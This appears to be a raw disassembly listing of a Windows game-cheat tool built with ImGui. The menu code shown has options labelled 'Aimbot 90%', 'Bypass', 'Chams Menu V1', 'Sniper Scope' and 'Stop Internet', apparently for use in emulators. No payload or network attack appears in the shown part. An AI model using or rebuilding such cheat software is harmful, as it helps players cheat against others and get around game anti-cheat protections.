test r13b, al
je 0x140056010
mov ecx, 8
call fcn.1400c4e90
lea rcx, [0x140053d60]
mov r9, rax
lea r8, [0x140060340]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x148]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x140], rax
test rax, rax
je 0x14005a434
cmp dword [rbp + 0x148], r12d
je 0x14005a47c
movaps xmm0, xmmword [rbp + 0x140]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005a47c
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x140], xmm0
mov rbx, qword [0x140145120]
test rbx, rbx
je 0x14005602a
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140056047
jmp 0x14005602d
mov rbx, r12
mov r8d, 0x250
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_C_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r12
jne 0x140056052
call fcn.140048740
call fcn.140049e30
call fcn.140008f50
lea rdx, [0x140166500]
lea rcx, [rbp + 0x3a0]
call fcn.14005d780
lea rdx, [0x140166540]
lea rcx, [rbp + 0x440]
call fcn.14005d780
mov rdi, qword [0x1401665a8]
xorps xmm0, xmm0
sub rdi, qword [0x1401665a0]
sar rdi, 5
mov qword [rbp - 0x30], r12
movdqu xmmword [rbp - 0x40], xmm0
test rdi, rdi
je 0x14005614b
cmp rdi, rsi
ja 0x14005a4b7
shl rdi, 5
test rdi, rdi
jne 0x1400560c0
mov rbx, r12
jmp 0x1400560fd
cmp rdi, 0x1000
jb 0x1400560f2
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14005a4c3
call fcn.1400c4e90
test rax, rax
je 0x14005a44e
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400560fd
mov rcx, rdi
call fcn.1400c4e90
mov rbx, rax
mov rsi, qword [0x1401665a8]
lea rcx, [rbx + rdi]
mov rdi, qword [0x1401665a0]
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rcx
cmp rdi, rsi
je 0x140056138
mov rdx, rdi
mov rcx, rbx
call fcn.14005d780
add rbx, 0x20
add rdi, 0x20
cmp rdi, rsi
jne 0x140056120
lea r8, [rbp - 0x40]
mov rdx, rbx
mov rcx, rbx
call fcn.14005f300
mov qword [rbp - 0x38], rbx
lea rdx, [0x1401665b8]
lea rcx, [rbp + 0x1b0]
call fcn.14005d780
cmp qword [rbp + 0x1c8], 0xf
lea rcx, [rbp + 0x1b0]
cmova rcx, qword [rbp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x1e0], rcx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str._d__m__Y____H:_M
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0x900]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov rcx, qword [0x140145120]
movaps xmm0, xmm10
movss xmm1, dword [0x1400e7520]
xor edx, edx
unpcklps xmm0, xmm10
mov r8d, 0x20ab
movsd qword [rcx + 0x47b8], xmm0
movaps xmm0, xmm10
unpcklps xmm0, xmm10
movsd qword [rcx + 0x47c0], xmm0
movaps xmm0, xmm8
mov dword [rcx + 0x47ac], r13d
or dword [rcx + 0x47a8], 3
unpcklps xmm0, xmm1
movsd qword [rcx + 0x47c8], xmm0
mov dword [rcx + 0x47b0], r13d
lea rcx, str.General
call fcn.14000ef60
mov rcx, qword [0x140145120]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
mov qword [0x14016aa60], rax
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp + 0x768]
movsd xmm0, qword [rax + 0x18]
mov rsi, qword [rax + 0x290]
movsd qword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x1400e7810]
movups xmmword [rbp + 0x768], xmm0
call fcn.1400041f0
movss xmm0, dword [rsp + 0x70]
lea r8, [rbp + 0x38]
movss xmm1, dword [rsp + 0x74]
lea rdx, [rsp + 0x70]
addss xmm0, dword [0x140143b00]
addss xmm1, dword [0x140143b04]
movss xmm7, dword [0x1400e7440]
mov r9d, eax
mov dword [rsp + 0x28], r12d
mov rcx, rsi
movss dword [rsp + 0x20], xmm7
movss dword [rbp + 0x38], xmm0
movss dword [rbp + 0x3c], xmm1
call fcn.14002b620
cmp dword [0x14016aa40], r13d
jne 0x140059695
movss xmm3, dword [rsp + 0x70]
lea rcx, [0x140143b28]
movss xmm2, dword [rsp + 0x74]
movaps xmm0, xmm3
movaps xmm1, xmm2
addss xmm0, xmm9
addss xmm1, dword [0x1400e74cc]
addss xmm3, xmm10
addss xmm2, xmm12
movss dword [rbp + 0x40], xmm0
movss dword [rbp + 0x44], xmm1
movss dword [rbp + 0x48], xmm3
movss dword [rbp + 0x4c], xmm2
call fcn.1400041f0
mov r9d, eax
mov dword [rsp + 0x28], r12d
lea rdx, [rbp + 0x48]
movss dword [rsp + 0x20], xmm10
lea r8, [rbp + 0x40]
mov rcx, rsi
call fcn.14002b620
movdqa xmm0, xmmword [0x1400e7ae0]
lea rcx, [rbp + 0x778]
movups xmmword [rbp + 0x778], xmm0
call fcn.1400041f0
movss xmm3, dword [rsp + 0x70]
lea r9, [rbp + 0x60]
movss xmm2, dword [rsp + 0x74]
lea r8, [rbp + 0x68]
mov rdx, qword [0x140145228]
movaps xmm0, xmm3
addss xmm3, dword [0x1400e7478]
mov dword [rsp + 0x30], eax
addss xmm0, xmm6
movaps xmm1, xmm2
mov dword [rbp + 0x50], 0x3f800000
addss xmm1, dword [0x1400e74b4]
addss xmm2, dword [0x1400e745c]
lea rax, [rbp + 0x50]
movss dword [rbp + 0x68], xmm3
mov qword [rsp + 0x28], rax
mov rcx, rsi
lea rax, [rbp + 0x58]
movss dword [rbp + 0x60], xmm0
movss dword [rbp + 0x64], xmm1
movss dword [rbp + 0x6c], xmm2
mov dword [rbp + 0x54], 0x3f800000
mov qword [rbp + 0x58], r12
mov qword [rsp + 0x20], rax
call fcn.14002bc00
mov rcx, qword [0x140145120]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp + 0x788]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e750c]
addss xmm1, dword [0x1400e745c]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x139], r13b
movups xmmword [rbp + 0x788], xmm0
mov qword [rbp + 0x70], 0x41c80000
call fcn.1400041f0
xorps xmm0, xmm0
lea rcx, [rbp + 0x798]
movups xmmword [rbp + 0x798], xmm0
mov r9d, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movss xmm0, dword [0x14016aa28]
ucomiss xmm0, xmm10
jp 0x1400564ab
jne 0x1400564ab
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x14016aa28], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x14016aa28]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm6
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x140056564
cmp byte [reloc.WS2_32.dll_accept], r12b
movss xmm1, dword [0x1401666bc]
je 0x140056520
comiss xmm13, xmm1
jbe 0x140056511
call fcn.1400085d0
movss xmm1, dword [0x1401666bc]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm12
addss xmm1, xmm0
movss dword [0x1401666bc], xmm1
comiss xmm1, xmm13
jb 0x14005655d
mov byte [reloc.WS2_32.dll_accept], r12b
jmp 0x14005655d
comiss xmm1, xmm10
jbe 0x140056550
call fcn.1400085d0
movss xmm1, dword [0x1401666bc]
movaps xmm0, xmm14
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm12
subss xmm1, xmm0
movss dword [0x1401666bc], xmm1
comiss xmm10, xmm1
jb 0x14005655d
mov byte [reloc.WS2_32.dll_accept], r13b
mov dword [0x14016aa28], r12d
mov rcx, qword [0x14016be68]
mov rdi, qword [0x140145120]
mov rbx, rcx
mov qword [rsp + 0x60], rcx
test rcx, rcx
jne 0x1400565bb
mov rcx, qword [rdi + 0x68]
test rcx, rcx
jne 0x1400565b3
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], r12d
jg 0x1400565ac
mov r8d, 0x6fc
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov qword [rsp + 0x60], rcx
mov rbx, rcx
call fcn.140012340
lea rcx, [rdi + 0x4838]
lea rdx, [rsp + 0x60]
call fcn.14001f6f0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x290]
call fcn.140028dd0
movss xmm0, dword [0x1401666bc]
lea rcx, [rbp - 0x80]
movss dword [rbp - 0x74], xmm0
mov dword [rbp - 0x80], 0x437f0000
mov dword [rbp - 0x7c], 0x437f0000
mov dword [rbp - 0x78], 0x437f0000
call fcn.1400041f0
movss xmm9, dword [rsp + 0x70]
lea rcx, str.SAM_X
movss xmm0, dword [0x1400e7560]
lea rdx, [rbp - 8]
movss xmm3, dword [0x1400e754c]
movaps xmm7, xmm9
addss xmm7, xmm8
mov qword [rsp + 0x30], r12
movss xmm8, dword [rsp + 0x74]
addss xmm9, xmm10
movaps xmm6, xmm8
mov qword [rsp + 0x28], rcx
subss xmm6, dword [0x1400e74c0]
addss xmm8, dword [0x1400e74e8]
mov edi, eax
movss dword [rsp + 0x20], xmm0
mov rax, qword [0x140145120]
movss xmm2, dword [rax + 0x3c20]
mov rcx, qword [rax + 0x3c18]
call fcn.140034b40
movss xmm0, dword [rbp - 8]
subss xmm7, xmm9
subss xmm6, xmm8
addss xmm0, dword [0x1400e740c]
mulss xmm7, xmm15
mulss xmm6, xmm15
addss xmm9, xmm7
cvttss2si eax, xmm0
movss xmm0, dword [rbp - 4]
addss xmm8, xmm6
mulss xmm0, xmm15
movd xmm1, eax
subss xmm8, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x7c], xmm8
movss dword [rbp - 8], xmm1
mulss xmm1, xmm15
subss xmm9, xmm1
movss dword [rbp + 0x78], xmm9
test edi, 0xff000000
je 0x140056784
mov rax, qword [rsi + 0x38]
mov rbx, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [rsi + 0x98]
mov rcx, qword [rbx + 0x40]
cmp qword [rcx + 8], rax
je 0x140056734
mov r8d, 0x64d
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rsi + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400e6229]
movss dword [rsp + 0x40], xmm10
lea r9, [rbp + 0x78]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, str.SAM_X
mov rdx, rsi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034d60
call fcn.140012470
mov rcx, qword [0x140145120]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [0x140143ab8]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e7488]
addss xmm1, dword [0x1400e751c]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x140143ab8]
call fcn.140038110
mov rcx, qword [0x140145120]
lea rdx, str.Tabs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e7488]
addss xmm1, dword [0x1400e74d8]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x80], 0x42700000
mov dword [rbp + 0x84], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rcx, str.Tabs
call fcn.14000be00
call fcn.14000c160
mov eax, dword [0x14016aa2c]
test eax, eax
jne 0x1400577f6
mov rcx, qword [0x140145120]
lea rdx, str.General
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e74c8]
addss xmm1, dword [0x1400e74e4]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x88], 0x43960000
mov dword [rbp + 0x8c], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007b50
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x88]
lea rcx, str.General
call fcn.14000be00
lea r9, [0x140145258]
lea r8, [0x1400e6fb0]
lea rdx, [0x140145198]
lea rcx, str.Aimbot_90_
call fcn.140039f40
mov byte [0x14014519e], al
test al, al
je 0x1400569b4
cmp byte [0x140145198], r12b
je 0x1400569b4
lea rcx, [rbp + 0x3e0]
call fcn.14005eb20
lea rcx, [rbp + 0x3e0]
call fcn.14004ba10
cmp dword [rbp + 0x3e8], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140056a00
cmp byte [rcx + 0x48f2], r12b
jne 0x140056a00
test byte [rcx + 0x4770], 4
jne 0x140056b14
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140056b14
test eax, eax
jne 0x140056acb
jmp 0x140056b14
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140056b14
cmp qword [rcx + 0x3ed8], r9
je 0x140056a20
test al, al
jns 0x140056b14
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140056a45
cmp eax, dword [rcx + 0x476c]
je 0x140056a45
cmp byte [rcx + 0x3f3d], r12b
jne 0x140056a45
cmp eax, dword [r9 + 0x74]
jne 0x140056b14
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140056aad
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140056aad
cmp byte [rdx + 0xaf], r12b
je 0x140056aad
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140056aad
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140056a84
bt r8d, 0x1a
jae 0x140056aad
cmp qword [rax + 0x370], rdx
je 0x140056aad
nop dword [rax]
cmp rax, rdx
je 0x140056aad
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140056a90
test dword [rcx + 0x4770], 0x100
je 0x140056b14
test byte [rcx + 0x4770], 4
jne 0x140056b14
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140056acb
cmp byte [r9 + 0xb0], r12b
jne 0x140056b14
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140056b0f
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in__LOGIN
lea rdx, [0x14014519d]
lea rcx, str.Bypass
call fcn.140039f40
mov byte [0x14014525c], al
test al, al
je 0x140056b69
cmp byte [0x14014519d], r12b
je 0x140056b69
lea rcx, [rbp + 0x3c0]
call fcn.14005eb90
lea rcx, [rbp + 0x3c0]
call fcn.14004ba10
cmp dword [rbp + 0x3c8], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140056bb5
cmp byte [rcx + 0x48f2], r12b
jne 0x140056bb5
test byte [rcx + 0x4770], 4
jne 0x140056cc6
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140056cc6
test eax, eax
jne 0x140056c7d
jmp 0x140056cc6
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140056cc6
cmp qword [rcx + 0x3ed8], r9
je 0x140056bd5
test al, al
jns 0x140056cc6
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140056bfa
cmp eax, dword [rcx + 0x476c]
je 0x140056bfa
cmp byte [rcx + 0x3f3d], r12b
jne 0x140056bfa
cmp eax, dword [r9 + 0x74]
jne 0x140056cc6
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140056c5f
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140056c5f
cmp byte [rdx + 0xaf], r12b
je 0x140056c5f
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140056c5f
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140056c39
bt r8d, 0x1a
jae 0x140056c5f
cmp qword [rax + 0x370], rdx
je 0x140056c5f
cmp rax, rdx
je 0x140056c5f
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140056c42
test dword [rcx + 0x4770], 0x100
je 0x140056cc6
test byte [rcx + 0x4770], 4
jne 0x140056cc6
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140056c7d
cmp byte [r9 + 0xb0], r12b
jne 0x140056cc6
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_LOGIN
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140056cc1
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Match
lea rdx, [0x14014519a]
lea rcx, str.Sniper_Scope
call fcn.140039f40
mov byte [0x140145134], al
test al, al
je 0x140056d1b
cmp byte [0x14014519a], r12b
je 0x140056d1b
lea rcx, [rbp + 0x3d0]
call fcn.14005ec00
lea rcx, [rbp + 0x3d0]
call fcn.14004ba10
cmp dword [rbp + 0x3d8], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140056d67
cmp byte [rcx + 0x48f2], r12b
jne 0x140056d67
test byte [rcx + 0x4770], 4
jne 0x140056e78
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140056e78
test eax, eax
jne 0x140056e2f
jmp 0x140056e78
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140056e78
cmp qword [rcx + 0x3ed8], r9
je 0x140056d87
test al, al
jns 0x140056e78
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140056dac
cmp eax, dword [rcx + 0x476c]
je 0x140056dac
cmp byte [rcx + 0x3f3d], r12b
jne 0x140056dac
cmp eax, dword [r9 + 0x74]
jne 0x140056e78
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140056e11
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140056e11
cmp byte [rdx + 0xaf], r12b
je 0x140056e11
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140056e11
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140056deb
bt r8d, 0x1a
jae 0x140056e11
cmp qword [rax + 0x370], rdx
je 0x140056e11
cmp rax, rdx
je 0x140056e11
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140056df4
test dword [rcx + 0x4770], 0x100
je 0x140056e78
test byte [rcx + 0x4770], 4
jne 0x140056e78
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140056e2f
cmp byte [r9 + 0xb0], r12b
jne 0x140056e78
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140056e73
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Match
lea rdx, [0x14014519c]
lea rcx, str.Quick_Switch_V2
call fcn.140039f40
mov byte [0x140145137], al
test al, al
je 0x140056ecd
cmp byte [0x14014519c], r12b
je 0x140056ecd
lea rcx, [rbp + 0x400]
call fcn.14005ec70
lea rcx, [rbp + 0x400]
call fcn.14004ba10
cmp dword [rbp + 0x408], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140056f19
cmp byte [rcx + 0x48f2], r12b
jne 0x140056f19
test byte [rcx + 0x4770], 4
jne 0x14005702a
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005702a
test eax, eax
jne 0x140056fe1
jmp 0x14005702a
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005702a
cmp qword [rcx + 0x3ed8], r9
je 0x140056f39
test al, al
jns 0x14005702a
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140056f5e
cmp eax, dword [rcx + 0x476c]
je 0x140056f5e
cmp byte [rcx + 0x3f3d], r12b
jne 0x140056f5e
cmp eax, dword [r9 + 0x74]
jne 0x14005702a
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140056fc3
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140056fc3
cmp byte [rdx + 0xaf], r12b
je 0x140056fc3
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140056fc3
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140056f9d
bt r8d, 0x1a
jae 0x140056fc3
cmp qword [rax + 0x370], rdx
je 0x140056fc3
cmp rax, rdx
je 0x140056fc3
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140056fa6
test dword [rcx + 0x4770], 0x100
je 0x14005702a
test byte [rcx + 0x4770], 4
jne 0x14005702a
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140056fe1
cmp byte [r9 + 0xb0], r12b
jne 0x14005702a
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Apply_in_Match
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140057025
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Open_In_Emulators
lea rdx, [0x140145196]
lea rcx, str.Chams_Menu_V1
call fcn.140039f40
mov byte [0x14014511e], al
test al, al
je 0x14005707f
cmp byte [0x140145196], r12b
je 0x14005707f
lea rcx, [rbp + 0x410]
call fcn.14005ece0
lea rcx, [rbp + 0x410]
call fcn.14004ba10
cmp dword [rbp + 0x418], r12d
jne 0x14005a447
mov rcx, qword [0x140145120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x1400570cb
cmp byte [rcx + 0x48f2], r12b
jne 0x1400570cb
test byte [rcx + 0x4770], 4
jne 0x1400571dc
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400571dc
test eax, eax
jne 0x140057193
jmp 0x1400571dc
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x1400571dc
cmp qword [rcx + 0x3ed8], r9
je 0x1400570eb
test al, al
jns 0x1400571dc
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057110
cmp eax, dword [rcx + 0x476c]
je 0x140057110
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057110
cmp eax, dword [r9 + 0x74]
jne 0x1400571dc
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140057175
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140057175
cmp byte [rdx + 0xaf], r12b
je 0x140057175
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140057175
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005714f
bt r8d, 0x1a
jae 0x140057175
cmp qword [rax + 0x370], rdx
je 0x140057175
cmp rax, rdx
je 0x140057175
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140057158
test dword [rcx + 0x4770], 0x100
je 0x1400571dc
test byte [rcx + 0x4770], 4
jne 0x1400571dc
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140057193
cmp byte [r9 + 0xb0], r12b
jne 0x1400571dc
xor ecx, ecx
call fcn.1400173d0
lea rcx, str.Open_In_Emulators
call fcn.140038110
mov rax, qword [0x140145120]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400571d7
mov r8d, 0x26d8
lea rdx, str.C:UsersRBMDesktopBYAPSSSAM_Cimgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.140011900
xor r9d, r9d
lea r8, str.Apply_in_Login
lea rdx, [0x14014519f]
lea rcx, str.Stop_Internet
call fcn.140039f40
mov rcx, qword [0x140145120]
movzx r10d, al
mov byte [0x14014514c], al
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x14005724f
cmp byte [rcx + 0x48f2], r12b
jne 0x14005724f
test byte [rcx + 0x4770], 4
jne 0x14005736c
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005736c
test eax, eax
jne 0x14005731b
jmp 0x14005736c
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x14005736c
cmp qword [rcx + 0x3ed8], r9
je 0x14005726f
test al, al
jns 0x14005736c
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140057294
cmp eax, dword [rcx + 0x476c]
je 0x140057294
cmp byte [rcx + 0x3f3d], r12b
jne 0x140057294
cmp eax, dword [r9 + 0x74]
jne 0x14005736c
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400572fd
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400572fd
cmp byte [rdx + 0xaf], r12b
je 0x1400572fd
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400572fd
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400572d3
bt r8d, 0x1a
jae 0x1400572fd
cmp qword [rax + 0x370], rdx
je 0x1400572fd
nop dword [rax]
cmp rax, rdx
je 0x1400572fd
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400572e0
test dword [rcx + 0x4770], 0x100
je 0x14005736c
test byte [rcx + 0x4770], 4
jne 0x14005736c
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005731b
